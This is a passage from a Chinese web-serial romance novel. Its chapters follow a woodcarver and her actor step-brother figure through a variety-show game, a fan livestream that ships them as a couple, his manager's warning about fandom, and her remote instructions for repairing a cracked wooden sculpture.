这句施宇听懂了,立刻正襟危坐,认真玩游戏。 施宇看口型猜出来一点,他眼眸一亮,自己对这个台词很熟。 时间到了后,他回头拍了拍余兴然,将自己的答案尽可能的说出去。 程逾朝他竖起大拇指,这是孟竞帆小时候一部剧的台词。 这么些年,一直挺出圈的,已经被完成梗了,传播度很高。 而且孟竞帆被他俩还小一岁,同龄人的作品,应该多多少少都听过的。 即便没有,在节目录制之前,一般艺人也会事先了解一下嘉宾的资料,省得一问三不知徒惹尴尬。 轮到孟竞帆时,程逾满脸期望,从前面抻着头往后看,希望孟竞帆能给点力。 结果这家伙竟然没有反应过来,程逾快要急死了,拼命给他打手势。 等孟竞帆反应过来时,时间已经过了。 “你自己演的戏你都不知道?” “消消气。”孟竞帆嘴上讨饶,“我一时没反应过来。” “下一个又要换题目了。”程逾心累。 “要不我再去前面,你去猜?”孟竞帆提议。 程逾一向是敢想敢干的类型,她手一挥:“去就去。” 这一去,还真给她瞎猫撞上了死耗子,这次是魏思沅年轻时候的剧。 余兴然和施宇估计都没看过,不过他俩把孟竞帆的表演活灵活现地复制了出来。 程逾甩手说出了台词,剧名以及表演者。 答案是正确的,程逾开心地握了下拳:“这要是回答不出来,等回去的时候,肯定会被小姑蛐蛐一顿。” 得到了线索,施宇问:“要去一楼验证吗?” 程逾说:“这样太浪费时间,先做其他任务吧。” “走。” 他们一群人上了三楼,继续寻找任务地点。 其实两个任务,艺人的体力基本到了极限,又临近中午,在程逾他们完成第四个任务后,终于可以歇息了。 集中用餐一般一个小时左右,程逾早已饿得前胸贴后背,走路都拖着步子。 孟竞帆人高马大,上前拽住她的胳膊,问:“累了?” 程逾点了点头:“高强度的录制,我一想接下来还有11期,我就有点打退堂鼓。” 孟竞帆松开她的胳膊,谄媚地捏住她的颈肩:“我给你揉揉。” 齐菲笑道:“你俩感情真好。” “这不是在外面呢嘛,也要装一下,总不能让大家看到我俩互相拽着对方的头发不松手吧。”程逾满嘴跑火车。 齐菲笑了声:“典型的姐弟相处啊,你俩小时候经常打架吗?” “那倒没有。”程逾说,“他小时候也打不过我,我好歹比他大五岁。” “那是我让着你。”孟竞帆不落下风,“我十来岁你就打不过我了。” 程逾:“…………谁乐意跟你打。” 到了吃饭的地方,程逾一屁股坐了下去,像个大爷似的。 孟竞帆从后面推她一把:“先吃饭,吃完饭再休息。” 程逾点了点头。 孟竞帆洗了手后,径自拿起一次性手套,给程逾剥了半碗的虾。 他抬眸朝其他人笑笑:“你们要我剥吗?” 主动询问就是让你自觉点的意思,其他人摇了摇头,施宇说:“你这样的是不是很讨女孩喜欢?” 孟竞帆抬眸:“还好吧,也没见哪个女孩喜欢我。” “那是因为她们暗恋你啊。”程逾失笑,“你小时候就跟着小姑演戏了,你同学在电视上见过你,人家喜欢你也不敢说啊,只能默默藏在心里呗。” “你又知道了。”孟竞帆拿起一个虾塞程逾嘴里,“吃你的。” 不知道是不是饿,程逾觉得格外好吃。 两边腮帮子都鼓起来了,孟竞帆轻笑:“猪。” 程逾边嚼边瞪着他:“你再说一遍。” 孟竞帆不再找揍,埋头吃饭。 吃完饭要回车里休息,在外不比其他,只能将就一下。 程逾戴上鸭舌帽,爬上了节目组的商务车。 没一会儿,大家全都上来了。 没人说话,基本都累了,程逾将帽子卡在脸上,头一歪,闭上了眼。 摄像师还对着他们拍摄,留一下素材。 不知过了多久,全车陷入了安静里。 程逾睡得不知天昏地暗,什么时候睡到了孟竞帆的怀里都不知道。 孟竞帆被打扰,微微睁开眼睛看了下,随手给程逾找了个舒适的位置,搂着她睡了过去。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第272章 孟程(6) 程逾没睡过这么香的觉,来录之前她倒还好,到了之后看到镜头莫名有些紧张。 要不是有孟竞帆在,她真有可能撂挑子不干了。 她很佩服这些整天活在镜头里的明星。 一举一动都要注意谨慎,她看似表现得轻松,实则生怕播出的时候给孟竞帆招黑,最大可能地展示自己对于他的作用。 最起码不能拖后腿,以至于她压力很大,这会儿一放松,本性暴露,睡得东倒西歪。 不像其他艺人,就连睡着都吊着一根神经。 休息时间只有半小时,孟竞帆第一个睁开眼睛,见工作人员上了车,他拍了下程逾的肩膀:“醒醒,工作了。” 程逾抬手挥开他的手:“别吵。” “还当是家里呢。”孟竞帆捏住她的脸,“赶紧醒醒,待会儿镜头就要拍到你流口水了。” 毕竟是女生,还是有点美貌包袱的,程逾一听,下意识睁开了眼睛,当发现自己横躺在孟竞帆的腿上时,她像火烧到屁股似的,一撅起来了。 “我怎么躺在你腿上?”程逾用手背擦了下嘴角,干燥无比,她瞪了眼孟竞帆,“又耍我?” “每次都上当的是谁?”孟竞帆跟她拌嘴,“赶紧起来补充点体力,下午录制时间会很长,连着录的,中间会休息,但时间很短,晚饭估计也很迟。” “没事。”程逾说,“中间休息的时候不都可以吃点东西的嘛。” 其他人也纷纷醒过来,大家都有点蔫巴,节目组递上了面包饼干酸奶和果切,一群人嚼起东西像水獭。 余兴然和施宇两个大男人,一口面包嚼了20口。 程逾跟着学,两下一嚼下肚了,她不甘心,塞了半个进嘴里,这次好一点,嚼了7下没影了。 程逾:“……” 孟竞帆在一旁要笑死了,他时不时抬手掩饰一下,也不提醒,纯看,而这一幕,全被跟拍机位拍了下来。 节目组都有专属的跟拍机位,摄像师不参与节目的正式录制,只负责记录艺人的休息、聊天等幕后片段,俗称花絮。 花絮都会按照正片播出时间分阶段播放,一般是前中后,用以保持热度。 程逾试了好几次,全都以失败告终,她眼珠一转,偏头盯着孟竞帆。 见他三两口吃了面包,程逾点了点头,这才对嘛。 “老师们休息好了没?我们要开始录制了。” 程逾和孟竞帆一前一后下了车,返回上午的录制地点。 下午的录制,时间线拉得很长。 程逾和孟竞帆始终和余兴然、施宇结盟。 只不过随着时间的推移,对于孟竞帆和程逾来说也就越危险。 但神奇的是,余兴然和施宇总会为他俩说话,一次次化险为夷。 天渐渐黑了后,孟竞帆和程逾终于迎来反击战。 只要两人协作解码,就能直接淘汰对手,且一个队伍中,只要淘汰一名,另一名也自动出局。 要想去最终场所,得先找到拼图解码。 程逾是最快的,她记忆力一向很强,这是她小时候就显现出来的天赋。 今天的地图密码都是他们录制过的地方,将重要元素提取就可以获得一张完整的拼图。 所有人的手机全都震动了声,提示孟竞帆的队伍已经获得最终场所的拼图,这也就意味着他们是第一个到达的。 在他俩的视角里,代表有机会全歼四队。 余兴然还对着拼图犯难呢,看到信息直接一个电话打了过去: “竞帆,你们已经走了吗?” 孟竞帆“嗯”了声:“刚上车,你们收到信息了?” 地点是不能问的,施宇忍了忍,说:“你们先去,最终场所空白组的线索都是明确的。” 孟竞帆和程逾对视了眼,挂了电话。 “怎么办呢?我都不忍心骗他俩了。”孟竞帆良心遭受到了巨大的谴责。 程逾:“……已经骗了一天了。 “……好吧,等录制结束,我一定给他俩好好赔罪。” 最终场所很快就在眼前,程逾看了眼时间,说:“我们俩最起码比其他人多了十分钟的时间,这个园区太大了,进门后我们一左一右,拿走我们的淘汰工具时,看见任务卡也可以收走,给他们制造障碍。” “行。”孟竞帆比了个“OK”的手势后,两人兵分两路。 十分钟的时间,还是为程逾和孟竞帆争取了许多有利条件。 等大部队陆续到了后,程逾和孟竞帆迅速汇合。 他俩需要拍到淘汰者的正脸,去园区里唯一一台机器前扫码,得到指令后,用工具笔涂掉kt板上的名字即可。 其他的都不难,拍照这个是最难的。 因为只有他俩有这样的任务,不过可以偷拍。 程逾光明正大拿出手机,对着相机理了理前额的碎发。 “没脱妆。”苏琪用胳膊肘抵了抵程逾。 程逾对着自己拍了张照片,满意地笑了笑:“这化妆师蛮厉害的,我跑得浑身都是汗,竟然还没脱妆。” 这章没有结束,请点击下一页继续阅读!苏琪笑着闯入程逾的镜头,程逾快速拍了张后,若无其事跟着大部队往前走。 这么多人不可能聚在一起,进入主建筑后全部分散了。 可怜的苏琪,在开局不到十分钟,被程逾淘汰了。 所有人全都懵了,一句“卧槽”因为镜头而堵在喉间。 张雨年仰天长啸:“我无妄之灾啊。” 程逾对着镜头疯狂地鞠躬说“对不起”,但导演组一直催她和孟竞帆,录制时间紧,她只能上来就杀。 此时的司家父子正好和余兴然他俩撞见了,互相都有“不在场证明”。 “那就只剩菲姐和小鱼那一队了。”余兴然说,“今天一天我俩都和小鱼姐他们在一起,我觉得空白组应该是菲姐。” “为什么这么肯定是菲姐?”司显荣反问。 余兴然和施宇一人一句开始给司显荣解释,司明瀚在一旁一个劲地点头,十分赞同他俩的话。 司显荣:“……你觉不觉得,你俩被洗脑了?” “啊?”余兴然一愣,“洗脑?我俩?” “第一个完成任务的并不代表他们就不能是空白组,相反,如果他俩是空白组,这样做,反而对他俩都有利。” 余兴然脑袋一僵:“这样吗?” “进园区不到十分钟就淘汰了张雨年那一组,不是也从侧面说明是他俩吗?淘汰人必然有相应的任务、线索或者道具,节目组不可能直接找个地方说,来,这里直接淘汰,想淘汰哪个就淘汰哪个吧?他俩先进来十分钟,最大的可能就是已经完成了相关的任务,获得了淘汰对手的关键道具。” 施宇摸了把手臂,“嘶”了声:“我的妈啊,我鸡皮疙瘩都起来了,要真是他俩的话,我俩得蠢成什么样了?” 余兴然说:“赶紧找最关键的线索,一定要是指向性特别明确的。” 四个人立刻行动,十分钟后,在二楼某处阳台发现了一张带有节目组标志的便笺。 便笺上有一句诗——鬼斧斫形生造化,刀痕万象韵非同。 “鬼斧……”余兴然自言自语,“鬼斧神工?刀痕就更明显了,说的是小鱼姐吧?” “肯定是她。”司显荣说,“十个嘉宾里,只有她会雕刻,是摆弄刀的人。” “我去,”余兴然也搓了下自己的鸡皮疙瘩,“我今天真是被他俩骗惨了,等录制结束,我一定得去报仇。” “现在就剩最关键的投票,但投票地点还得找拼图,我们给菲姐他们打电话问一下情况。” 齐菲和她丈夫,走着走着正好遇见了程逾和孟竞帆,还没聊两句,就接到了司显荣的电话。 十来秒,孟竞帆扯了下程逾,他觉得齐菲看他俩的眼神有些不太对劲。 最坏也不过明牌,孟竞帆拿出手机,突然喊了声:“菲姐。” “啊?”齐菲下意识抬眸,孟竞帆拍了照片就拉着程逾跑了。 齐菲愣了下,赶紧和对面两组人说了这件事。 玩到这里,基本明牌。 五分钟后,齐菲和赵敬廷被淘汰。 程逾说:“现在他们有两票,找到机器就可以投,而我俩对于他们已经明牌了,所以只有一个办法了。” “硬攻。”孟竞帆邪邪一笑,“走,去会会施宇,怎么说也做了一天的搭子。” 程逾失笑:“你真的太坏了,今晚录制结束,小心被暴打。” “先赢比赛再说。”孟竞帆抓起程逾的手就跑,程逾挣了下,心想这人一点不避讳啊,万一播出的时候被他粉丝看到,她岂不是会被看成臊子。 “松开我,我自己跑。” 孟竞帆心大,松开了手。 两人本意是找余兴然和施宇,半路遇到了司家父子。 两路人马对视后,不约而同跑了起来。 司家父子跑,程逾和孟竞帆追。 因为距离近,没几步就把人追上了。 “对不起了老师。”孟竞帆一把抱住司显荣,司明瀚想要救的时候,被程逾拦住了去路。 司明瀚挠挠头,摸摸脸,望望天,看看地,最后无视了老子的呼救,任由司显荣被孟竞帆撂倒拍了照片。 “小鱼,走了。”孟竞帆的声音透着一股兴奋劲儿。 司显荣从地上爬起来,笑了声:“臭小子,等着吧,看今晚鹿死谁手。” 司明瀚这时候才上赶着伺候亲爹,得到了亲爹的一记白眼。 毕竟还在录呢,他又不可能问司明瀚对程逾的看法。 司明瀚有点心虚,但想起刚才程逾挡在他面前的样子,脸一下红了。 他见程逾第一眼,就觉得她咧嘴笑起来特别可爱,有两颗小虎牙,人也劲劲儿的。 程逾和孟竞帆跑到一半,突然手机疯狂响起来,他俩一看,直接歇菜了。 余兴然和施宇把他俩的名字写在了最终验证台上。 两人气喘吁吁地停下,程逾说:“刚才遇到奥运冠军父子俩怕不是个局吧?” “有可能。”孟竞帆托着程逾的手臂,“别直接坐下来,走一走。” 程逾跟他慢慢地踱步,双腿已经没了知觉,镜头里,两道长长的人影逐渐变成了小小的一团。 拍够了,摄像师才跟了上去。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第273章 孟程(7) 第一期录制正式落下帷幕,程逾和孟竞帆作为“坏人”,第一期输了,但玩得很过瘾。 收工之后,当晚就有直播,就在晚饭后。 直播一个礼拜一次,一直到正片释出,算提前拉热度。 正式录制后的一个月,差不多就是首播日。 现在不管是影视还是综艺都不大好做,为了节目,自然想尽办法地做宣传。 直播有专人负责,直播间一开,粉丝纷纷进来捧场。 这里面粉丝数最多的是齐菲,毕竟是老牌了,不过她的影迷大多也都结婚生子了,并不活跃。 张雨年和苏琪也有粉丝基础,说到粉随正主,他俩的粉丝也是一甩一个包袱。 至于孟竞帆,他的粉丝不算多,毕竟消失在公众面前四五年之久。 直播间最活跃的当属余兴然和施宇的粉丝,他俩一个团的,还分团粉和唯粉。 弹幕上有人问现在这是干什么,主持人说:“现在大家刚吃完饭,马上就会过来,辛苦大家再等一等。” 这次的直播主打一个真实有互动感,艺人们知道晚上有直播,吃饭也很配合,没有闲聊,以最快的速度吃了晚饭。 司家父子是第一个进来的,主持人赶紧介绍了一遍,司显荣和司明瀚对着摄像机自我介绍了一遍,选择在沙发最边缘坐了下来。 这一举动引起了直播间很多粉丝的好感。 毕竟除了齐菲,司显荣是这里年纪最大的,怎么着也不应该坐边缘。 张雨年和苏琪第二个进来的,这两人也很有眼力见,在另一边的边缘坐了下来,导致余兴然和施宇进来都不知道怎么坐,两人只好黏上比较熟悉的司家父子,让他俩往里去。 司显荣知道他们的粉丝最多,让他俩往中间去。 余兴然快哭了:“叔,我就差给您跪下了。” 司显荣吓得往里挪了一个位置。 孟竞帆和程逾倒数第二,两人进门还在幼稚地抢一个橘子,直至张雨年咳嗽提醒了声,孟竞帆才有所收敛。 程逾以后又不用混娱乐圈,她眼珠一转,抢走了孟竞帆剥好的橘子,一口塞进了嘴里。 这一举动惹得现场的人全都笑了,程逾背过身,鼓着腮帮子吃完了橘子。 “哎呀妈,小鱼你在干嘛?”齐菲进门和程逾差点贴脸。 程逾嘴巴忙不开,呜呜了声,弯腰恭敬地做了个“请”的手势。 中间的位置就是留给齐菲的,她客气了两句,带着丈夫坐了过去。 孟竞帆将张雨年和苏琪挤到了齐菲夫妇的身旁,最年轻的两个队伍坐在半弧的宽长沙发上挤眉弄眼。 弹幕一水的哈哈哈哈—— “你们到底在干什么?还有没有记得这是直播?” “余兴然你就一点偶像包袱都没有是吧?都快成斗鸡眼了。” “还有施宇,就是哥哥后面的小傻子,哥哥做什么,他做什么。” “抢橘子的女生是谁啊?好漂亮好可爱啊。” “程逾,好像是个素人,有没有孟竞帆的粉丝出来说一下他俩什么关系?” 孟竞帆的粉丝都一脸懵。 毕竟现在先导片还没放出来,关于程逾的身份大家自然也不知道。 “怎么可能是素人啊?这里面哪个人不是在娱乐圈混的?” 弹幕上有人质疑,但也有人解释: “我记得就是素人,那影后的老公也不在娱乐圈混啊。” “终竞的搭档都是不一样的关系,夫妻、情侣、朋友、父子都有了,应该是兄弟姐妹吧?或许是家人?” “孟竞帆五年老粉,可以很负责人地告诉你们,他只有一个弟弟。” “孟竞帆他爹的老粉,也可以很负责任地告诉你们,他确实只有一个弟弟。” “孟竞帆他爹是什么鬼?他爹也是明星吗?” “nonono,他爹是打篮球的,年轻的时候老帅了,现在还有很多视频,你去搜一下魏川的名字就出来了。” “啊啊啊啊啊,魏川,我的男神啊,竟然还有人记得。” “姐妹,咱们是老了,不是死了,当然记得。” “魏川到底是谁啊?怎么弹幕里都歪了?” “孟竞帆的爸爸叫魏川,他跟她妈妈姓孟,我只能说一句,父母爱情好好嗑。” “也太小众了吧?好多人不认识。” “你不认识而已。” “菲姐,跟大家打个招呼吧。”主持人提醒了声。 齐菲面对镜头笑了笑:“大家好,我是齐菲,旁边这位是我的先生赵敬廷。” 赵敬廷话不多,按照齐菲的话术介绍了遍自己。 镜头给到孟竞帆,孟竞帆双手举起挥了挥:“大家好,我叫孟竞帆,这位是我的搭档小鱼。” 当镜头切到孟竞帆那张脸时,弹幕突然一水的“卧槽,好帅”。 “我家的帆帆,童星出道,后来因为学业暂停演艺工作,目前是星辉娱乐的艺人哦。” “孟竞帆,参演过……” 有粉丝在弹幕里安利,不过很快就被顶了上去。 这章没有结束,请点击下一页继续阅读!但更多的人还是好奇程逾是谁—— “啊啊啊小鱼,叫得好亲密啊,不会是哥哥女朋友吧?” “终竞的搭档都是不一样的啊,张雨年和苏琪是情侣,孟竞帆和小鱼绝不是情侣。” “可他俩更不像兄弟姐妹啊,姓氏都不一样。” “我更倾向于是朋友。” “啊啊啊节目组不做人,只怕就把这个当做噱头放在先导片的采访里。” 主持人微微一笑:“大家好啊,艺人们已经到齐了,接下来我们的直播就正式开始了哦。” 主持人继续走流程,微微偏过头说:“能不能浅浅聊一下第一天录制的感受?从左到右,我们依次来?” “好。”苏琪拍了下张雨年,“你先说。” 张雨年清了清嗓子:“一直都在跑,然后找吃的,吃完又跑,再找吃的,再去跑……” 本来没多好笑,但配合张雨年那张搞笑的脸,谁都忍不住。 苏琪习以为常,赞同地点了点头:“你们知道的,一个被窝睡不出两种人。” 程逾彻底没憋住,捂着嘴,眼睛都笑没了。 她最喜欢这两人了。 弹幕被“哈哈哈哈”覆盖。 轮到孟竞帆这组,他垂眸看了眼程逾:“要不你先说?” 程逾点了点头,说:“其实年哥说出了我的心声,我就感觉一直跑一直饿,不过第一次来录制综艺,还是很好玩的,至于有多好玩,大家可以期待下正片。” 其他人多多少少对程逾有些佩服,毕竟第一次见面镜头就能表现得这样大方得体,情商最起码不会低。 她也不怯场,跟在家里的似的放松。 孟竞帆在她后背拍了拍,鼓励了一下。 程逾转头笑了下:“到你了。” 孟竞帆说:“我也是第一次录综艺,接的时候就知道对体能要求很高,所以我才带了小鱼过来,事实证明,我这个决定并没有做错,她今天确实帮了我很多。” 弹幕里讨论激烈,甚至有人当场嗑上了cp。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第274章 孟程(8) 直播间人数迎来新一波高潮,主持人接着问:“在座的各位,大多数人都是第一次见面和合作,能不能说一说对彼此的第一印象,或者来录制后令你印象深刻的事情?” 施宇第一个举手:“我对小鱼姐很好奇可以说吗?令我印象最深刻的是她那双手,贼有力气,还有很多老茧,我估计掰手腕我都掰不过她。” “要不你俩试试?”孟竞帆拱了下火。 为了直播效果,主持人也支持:“要不试试?” 施宇觉得搬起石头砸了自己的脚,但他一个大男人,总不能说不行。 他开玩笑地说:“小鱼姐,手下留情啊。” 程逾招了招手:“不论男女,只论力气。” 施宇抱拳拱手:“仗义。” 率先玩笑稀释,黑子都没处挑错。 工作人员搬上来一张圆桌,施宇和程逾两人面对面而坐。 孟竞帆上前扶住两人的手放在中线的位置,施宇开玩笑:“你别偏心啊。” 孟竞帆故意将他的手往自己那边撇,施宇大声叫道:“唉唉唉,光明正大作弊啊。” 孟竞帆笑着将两人的手重新摆放到中心线,随手松了手:“要开始了啊。” 话音刚落,程逾调皮地压下了施宇的手:“我赢了啊。” “哎!”施宇又怪叫,“这还能算?” “开个玩笑。”程逾收敛笑意,“来吧,正式的。” 施宇摆好姿态,两人掌心相对,四目相接后,摄像机怼了上去。 弹幕里很吵—— “哈哈哈哈,这两人的眼神恨不得掰死对方。” “施宇在团里一直是哥哥们宠着的老幺,这一下遇见了个能展示自己男性气概的,还不卯足了劲儿啊。” “我就看他怎么卯足了劲儿,太搞笑了。” “程逾手上确实有好多老茧,她到底是干什么的?” “孟竞帆的粉丝不是说过嘛,好像是木匠。” “神他妈木匠,那是木雕师。” “哈哈哈哈哈哈哈……木匠……” 弹幕被木匠刷屏了。 而镜头后的比赛也正式开始,两个人的劲儿往中间去,又互相抵消。 施宇瞳孔震颤,没想到程逾的手劲儿那么大。 但男女有力量悬殊,程逾也是使出了吃奶的劲儿。 作为明星,体重管理很严格,施宇本人又瘦,总被粉丝调侃是毫无欲望的儿童身材。 程逾常年用刀,在木头上肆意转折凿刻,手部力量这一块一般人弄不过她。 施宇的手开始颤抖,牙后跟都快咬碎了。 他埋头在臂弯间,实在支撑不住被掰倒了。 程逾笑着拉过他的手,拍了拍他的肩膀:“不用伤心,一般人掰不过我。” 施宇朝她竖起大拇指:“竞帆能掰过你吗?” “那是肯定的。”孟竞帆自证,“不然我白长那么大个子了。” 主持人趁势问:“小鱼能跟我们直播间的粉丝们分享一下手茧的由来吗?” “这个啊。”程逾展示了下自己的手,“其实没什么好说的,我是木雕师傅嘛,整天跟木头刻刀打交道,手上没点茧子怎么行。” 程逾毫不在意,毕竟她小时候就有,早已经习惯了。 说完,她转身回到沙发,孟竞帆摆弄着抱枕,垫在她的腰后。 弹幕里又有猜测的话—— “你俩之间真的没事吗?这也太顺手,太自然了。” “谁懂我竟然幻视给老婆揉腰的霸总,这个垫抱枕和揉腰有零个区别。” “孟竞帆才22吧?不会真谈了吧?” “怎么可能谈恋爱啊?他还是事业上升期,除非疯了好吧。” “就是,现在火的有几个谈恋爱的?” “一个个别臆想了,哥哥们也是男人啊,是人就有需求,哥哥们背地里人手一个嫂子不是正常的吗?” “你确定就一个吗?” “有些人没有嫂子,但也不耽误他出去找啊。” “演员和爱豆又不一样,孟竞帆去年就被爆过谈恋爱的事,但他工作室还没出来,本人就先澄清了。” “他说如果谈了一定会说,粉丝也就信了。” “都是哄骗粉丝罢了,背地里结婚生子的一大堆,人前还不是照样立单身人设。” 眼见弹幕越来越歪,直播间实时清除了一些负面的信息。 时间差不多了,直播即将进入尾声。 主持人说:“我们的直播还剩下最后一个环节了,是你们各自挑选两个弹幕问题进行回答,我们从施宇这边开始吧。” 什么问题该读,什么问题该忽略,大家也都知道。 施宇选了两个中规中矩的问题后,答得也中规中矩,肉眼可见地疲倦。 余兴然倒是活泼,为了最后的一点直播效果,也是做尽了努力。 轮到孟竞帆时,他故意念了一个剧透的弹幕:“今晚录制是哪个队伍赢了呢?” “我只能说啊……”孟竞帆吊了下胃口,“下个月26号你们就知道了,现在说,我会被节目组追杀的。” 本小章还未完,请点击下一页继续阅读后面精彩内容!导演哼笑了声:“追杀不至于,会扣你鸡腿。” “万万不可啊。”孟竞帆夸张地伸出手。 “好了,我们的直播就到这里了哦,大家也早点休息,现在艺人们要回酒店睡觉,准备明天的录制了。” “不要走啊,再聊几分钟,我给你五毛钱。” “哥哥,不要走。” “这才十一点啊,这么早回去干什么?” “人家录制一天了,能看得出来所有人脸上的疲惫吧?” 主持人偏头说:“那……大家过来说声晚安吧。” 张雨年和苏琪第一个站起来,他俩对着镜头挥了挥手,孟竞帆和程逾紧随其后。 “拜拜了,大家晚安。” 程逾对着镜头比了个心,突如其来的美貌攻击,让弹幕停滞了一瞬。 当晚,施宇掰手腕输给程逾的热搜高高挂起,程逾回酒店的时候都惊呆了。 因为高位热搜竟然还有“程逾是谁”。 她不上网,也不知道热搜,还是孟竞帆拿给她看的。 突然孟竞帆点进了一个页面,上面写着“逾你同帆”,程逾指了指:“这是什么,怎么有我们两个人的名字和照片啊,照片还是截的直播间的?” 孟竞帆尴尬地扣过手机:“没什么。” “你不对劲。”程逾去抢他的手机,“给我看看,是不是骂我呢?” “不是骂你。”孟竞帆一边躲一边解释,“你不是说快要累死了,赶紧洗澡睡觉去。” “孟竞帆,你皮痒了是吧,给我。”程逾吼了一声。 孟竞帆一抖,将手机给了她。 程逾白了他一眼,指着手机问:“到底是什么东西。” “呃……超话。”孟竞帆小心翼翼瞥了她一眼,“还是cp超话。” “cp超话?干什么的啊?” 孟竞帆:“……” 他一时不知道怎么解释,这些人的速度堪比做了火箭,这才多久啊,他和程逾的超话都出来了。 而且他俩超话粉丝的名字竟然叫小橘子,是因为今晚程逾抢走的那个橘子吗? 孟竞帆不是没有过超话,男的女的都有,后来都被端了。 程逾点进去翻了翻,才知道什么叫cp超话。 她愣了好半晌,仿佛不认识汉字了:“里面说的是人话吗?咱俩是姐弟啊。” “又不是亲的。”孟竞帆莫名其妙来了这么一句。 程逾一巴掌拍在孟竞帆的后脑勺:“你说什么?” “哎呀,你睡觉吧,这些事你也不懂,我到时候跟公司说,让他们端了就行。” “能端掉啊?” “能。”孟竞帆极其敷衍地应了句。 程逾放心地去了浴室,临走前还不忘让他走的时候带上门。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第275章 孟程(9) 程逾洗完澡出来,孟竞帆竟然还跟大爷似的坐在她沙发上。 “我靠,得亏我换了睡衣出来。”程逾白了一眼孟竞帆,“你这样不避讳,好吗?” “什么时候这么见外了?”孟竞帆仰头靠在沙发上倒着看她,“累,懒得走了。” 程逾:“……再不见外也不能让你看我光着啊,我真服了,赶紧回房间睡觉。” “你手劲大,帮我肩膀这边揉一下。”孟竞帆丝毫不客气,拍了下自己的侧颈,“这里又酸又疼,有点难受。” 程逾狐疑地走过去:“你别是在耍我。” “谁耍你。”孟竞帆自觉地趴下,“快点,按完我就走。” “祖宗。”程逾嘴上吐槽,行动却很诚实。 但因为他趴着,程逾无处可坐,拍了下他的后背,说:“起来坐着给你按。” 孟竞帆随手扯过一个抱枕放置在自己的后腰处,说:“我练俯卧撑的时候,你没少坐我身上。” “那不是你要负重,全家挑来挑去,只有我愿意陪你胡闹。”程逾跨坐到抱枕上,双腿挤在他腰两侧,手下一个使劲,孟竞帆吃疼闷哼。 “我都没怎么用力。”程逾一脸无语,“想要按摩的是你,嫌我手重的又是你,你知不知道这样是会被打的?” “OK,我不说了。” “这还差不多。” 程逾三下五除二给他去了乏,她手法其实很好,孟棠腰背也时常疼,魏川不在家的时候,都是程逾帮她推拿。 眼瞧着孟竞帆昏昏欲睡,程逾一巴掌把人拍醒:“赶紧起来回你自己房间。” 孟竞帆托着疲惫的身躯回了房间,助理没有先睡,他惊了下:“你怎么还没睡?” 助理说:“晶姐让你给她打电话。” 林晶晶是孟竞帆的经纪人,快四十的人了,雷厉风行,除了孟竞帆,身边与她共事的都有点怵她。 孟竞帆一直没有找私人助理,现在的助理是公司安排的,很多关于他的事情,助理会告诉经纪人。 孟竞帆看着助理,问:“跟晶姐说什么了?” 助理回答:“晶姐问你在哪儿,我说你在小鱼姐的房间。” 孟竞帆点了点头:“行,我现在给她回个电话,你先去睡觉吧。” “好的,哥,晚安。” “嗯。” 孟竞帆进了屋,抬手脱掉上衣打算去洗澡,找浴巾的时候,他拨通了经纪人的电话。 林晶晶开门见山:“舍得回自己房间了?” “怎么了?”孟竞帆不解,“怎么感觉姐你说话阴阳怪气的。” “跟我装傻是吧?”林晶晶冷哼一声,“cp超话都出来了,还不知道避嫌,这么晚了还在人家房间里,是不是被拍到你才甘心?” 孟竞帆:“……我跟小鱼这样的关系,拍到又怎么了?” 林晶晶:“……孟竞帆,你不觉得你跟她没什么界限吗?” “界限?”孟竞帆蹙眉,“我跟她是一家人,我需要跟她有什么界限?” “我天,我受不了,你要不去谈个恋爱吧。”林晶晶说完就后悔,“跟你开玩笑的,别冲动,你现在不适合谈恋爱,公司近期在接触一部刑侦题材的剧,你的外形条件很合适。” “真的?”孟竞帆眼眸一亮,“我还没演过刑侦剧。” “还是那句话,事以密成,自己注意。” “知道,我又不是什么狂妄的人。” 林晶晶吐槽:“你不是什么狂妄的人,但你对感情少根筋,我说的话你到底是跟我装傻还是真不懂?” 孟竞帆说:“那你还是说清楚吧。” 林晶晶说:“你俩都有cp超话了,这速度太快了吧?我看了下,虽然不成气候,但圈里就这样,屁大点的事都会被无限炒黑料。” “你的职业会让你遭遇很多不好的声音,你要是想要她安稳,最好跟她保持距离。” “不用我说你也知道,一旦你跟任何的异性过于亲密,某些狂热的粉丝会去扒她,扒她的个人信息、社交动态、学历过往……什么都会被放大,而她不是圈内人,甚至会被怀疑是为了捆绑你炒作。” “cp粉的脑子跟正常粉丝不太一样,一旦声量大了,根本不利于你的发展。” “放眼望去,哪个叫得上名字的男星在35之前恋爱结婚的?都是为了维稳粉圈,也避免情感绑定影响你的未来。” 孟竞帆跟她唱反调:“光我知道的就有好几个30开外的明星连孩子都有了,还在那儿立单身人设,有意思吗?” 林晶晶:“你管人家有没有意思,你才22,十年后再考虑结婚的事吧。” 孟竞帆惊恐地瞪大眼睛:“你想让我做32年的老处男?” 林晶晶一噎:“你那么老实的?” “……你问魏思沅去。” 说完,孟竞帆挂断了电话。 林晶晶说的话有一定的道理,但孟竞帆也并不打算都听她的。 综艺还没播,如果播得好,怎么可能阻止得了嗑cp的人?无视就好。 这章没有结束,请点击下一页继续阅读!第二天还有录制,早上也得早起做妆发,孟竞帆洗了澡,沾枕就睡了。 鉴于第一天录制的辛苦,第二天节目组特地让他们多睡了半个小时。 程逾一大早起来,饿得前胸贴后背,进了餐厅才稍稍活过来一点。 酒店里提供的都是当地的早餐,孟竞帆怕程逾吃不惯,将椅子往她那儿搬了搬,问: “要吃什么,我给你拿。” 桌上写着菜单,种类挺多的,程逾也不挑,说:“都来江城了,自然要试试这里的吃食,你看着拿吧。” 程逾手机震动,是馆内的工作人员发来的照片和视频,临走之前,馆内一尊木雕开裂,目前要定修复方案。 打字太多,程逾微微蹙了眉,捏着语音键说: “详细描述一遍木雕裂开缝隙的形态、位置以及长度深度。” 孟竞帆拿了早餐过来,见她在忙,捏了一个虾饺到她唇边,程逾十分自然地叼进口中,其余人面面相觑,眸光里散发着不可言说的光。 一个虾饺吃完,电话那头也描述清楚了。 程逾又道:“活性裂隙,我说过多少遍了,修复方案重点在于止裂,和中医上的固本培元是一个道理。” “先备料,在我工作室案台下面的抽屉里有块像琥珀的东西,用纯净水泡发,今晚就开始,之后按照我之前交给你的熬制炖化,到时候拍视频给我,无论多晚,我都会给反馈。” “清缝导胶就不需要我说了,导胶的时候一定要注意,一定要有耐心。” “固形之后送去养护间观察48小时,不要去动它。” 